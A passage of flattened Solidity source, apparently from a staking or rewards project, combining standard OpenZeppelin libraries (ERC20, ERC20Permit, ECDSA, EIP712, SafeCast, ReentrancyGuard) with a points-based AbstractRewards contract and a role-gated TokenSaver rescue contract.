* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IAbstractRewards.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/**
* @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol
* Renamed dividends to rewards.
* @dev (OLD) Many functions in this contract were taken from this repository:
* https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol
* which is an example implementation of ERC 2222, the draft for which can be found at
* https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md
*
* This contract has been substantially modified from the original and does not comply with ERC 2222.
* Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated
* into this abstract contract which can be inherited by anything tracking ownership of reward shares.
*/
abstract contract AbstractRewards is IAbstractRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
/* ======== Constants ======== */
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed account, int256 points);
/* ======== Internal Function References ======== */
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
/* ======== Storage ======== */
uint256 public pointsPerShare;
mapping(address => int256) public pointsCorrection;
mapping(address => uint256) public withdrawnRewards;
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
/* ======== Public View Functions ======== */
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param _account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_account) - withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has withdrawn.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has withdrawn.
*/
function withdrawnRewardsOf(address _account) public view override returns (uint256) {
return withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has earned in total.
* @dev accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has earned in total.
*/
function cumulativeRewardsOf(address _account) public view override returns (uint256) {
return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER;
}
/* ======== Dividend Utility Functions ======== */
/**
* @notice Distributes rewards to token holders.
* @dev It reverts if the total shares is 0.
* It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.
* About undistributed rewards:
* In each distribution, there is a small amount which does not get distributed,
* which is `(amount * POINTS_MULTIPLIER) % totalShares()`.
* With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting
* distributed in a distribution can be less than 1 (base unit).
*/
function _distributeRewards(uint256 _amount) internal {
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _amount);
}
}
/**
* @notice Prepares collection of owed rewards
* @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is
* greater than 0.
*/
function _prepareCollect(address _account) internal returns (uint256) {
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend;
emit RewardsWithdrawn(_account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal {
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare * _shares).toInt256();
pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection;
pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection;
emit PointsCorrectionUpdated(_from, pointsCorrection[_from]);
emit PointsCorrectionUpdated(_to, pointsCorrection[_to]);
}
/**
* @dev Increases or decreases the points correction for `account` by
* `shares*pointsPerShare`.
*/
function _correctPoints(address _account, int256 _shares) internal {
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (pointsPerShare.toInt256()));
emit PointsCorrectionUpdated(_account, pointsCorrection[_account]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
